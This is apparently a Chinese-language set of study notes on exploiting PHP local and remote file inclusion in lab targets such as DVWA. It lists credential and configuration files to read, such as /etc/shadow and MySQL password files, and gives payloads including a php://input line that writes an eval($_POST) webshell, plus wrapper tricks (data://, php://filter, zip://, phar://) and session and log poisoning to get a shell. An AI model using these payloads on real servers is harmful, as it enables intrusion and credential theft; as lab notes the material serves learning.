1.本地文件包含
(1)读取敏感文件
形式:http://www.baidu.com/index.php?file=test.txt
windows常见敏感文件:
C:\boot.ini 查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml iis配置文件
C:\windowslrepairsame 存储windows系统初次安装密码
C:\ProgramFiles\mysql\my.ini mysql配置信息
C:\ProgramFiles\mysql\data\mysql\user.MYD mysql root密码
C:\windows\win.ini 系统信息
linux常见敏感文件:
etc/httpd/conf/httpd.conf Apache配置信息
/etc/passwd 账户信息
/etc/shadow 账户密码文件
/etc/apache2/apache2.conf Apache2默认配置文件
/etc/my.conf mysql配置文件
/etc/php/5.6/apache2/php.ini/ php相关配置
(2)包含本地文件getshell
A.包含系统文件
首先利用浏览器来访问一句话木马,可以看见会报错,这是正常的
我们可以在日志文件里看到我们的访问记录,由于编码问题,会导致我们的一句话木马中一些符号被编码,所以我们使用bp进行抓包然后对其更改,更改好之后我们在日志文件里可以看见一句话木马正常输出
此时即可成功包含文件getshell
B.包含上传文件
以upload靶场第十四题为例
首先上传一张图片马,再使用文件包含漏洞运行图片马中的恶意漏洞
./代表当前目录,在当前目录,加不加./是一样的,不在当前目录就不能用./
2.远程文件包含
先在桌面上创建一个.php文件,写入一句话木马,接着用python3启动http服务
接着在目标浏览器上包含该文件
首先我们对本机进行包含,可以看到可以包含并能成功访问桌面
接着对dvwa靶场进行包含
两个127.0.0.1所代表的意义不一样,第一个是目标服务器地址,第二个是攻击者服务器地址
3.其他利用方式
(1)Php://input
注意:请求正文和请求头之间要空一行
如若要写代码,例如一句话木马,则将php代码改为以下语句
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["lay-down"]);?>');?>
在dvwa目录下我们可以看到成功上传了一个shell.php文件
(2)Data://
写入格式:
data://text/plain,[php代码]
data://text/plain;base64,[base64编码的php代码]
(3)Php://filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤。根据名字,flter,可以很容易想到这个协议可以用来过滤一些东西。主要用来查看源码。在进行php代码审计时,需要查看目标的源代码。但是利用文件包含漏洞直接包含 php 文件时会被解析,不能看到源码,这时可以用 php://filter来读取源代码文件。
前提条件:
allow_url_fopen:on/off
allow_url_include :on/off
写入格式:
php://filter/read=convert.base64-encode/resource=index.php
使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(I)分隔。
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(I)分
其他过滤器:
A. 字符串过滤器
string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果
B. 转换过滤器
convert.base64-encode base64 编码
convert.base64-decode base64 解码
convert.quoted-printable-encode quoted-printable 编码(也是另一种将二进制进行编码的方案)
convert.quoted-printable-decode quoted-printable 解码
convert.iconv 实现任意两种编码之间的转换
C. 压缩过滤器
zlib.deflate 压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器
D. 加密过滤器
mcrypt.* 加密过滤器
mdecrypt.* 解密过滤器
(4)zip://
上传格式:
zip://绝对(相对)路径/xx.zip%23被压缩的文件
先创建一个.php的文件,往里面写入一句话木马后将其压缩为一个.zip文件,因为一个网站里一般只允许上传图片,所以我们将其后缀改为.jpg后放入D:\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi目录
相对路径:
(5)Phar://
上传格式:
phar://相对路径/xx.zip/被压缩的文件
4.Session文件包含
Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.savepath。在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用.
session文件包含漏就是在用户可以控制session文件中的一部分信息,然后将这部分信息变成我们的精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。
创建一个.php文件,内容为:
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
我们在浏览器中打开该文件,用post模块输入一句话木马
通过抓包找到session_id
在phpstudy中找到该文件打开发现木马注入成功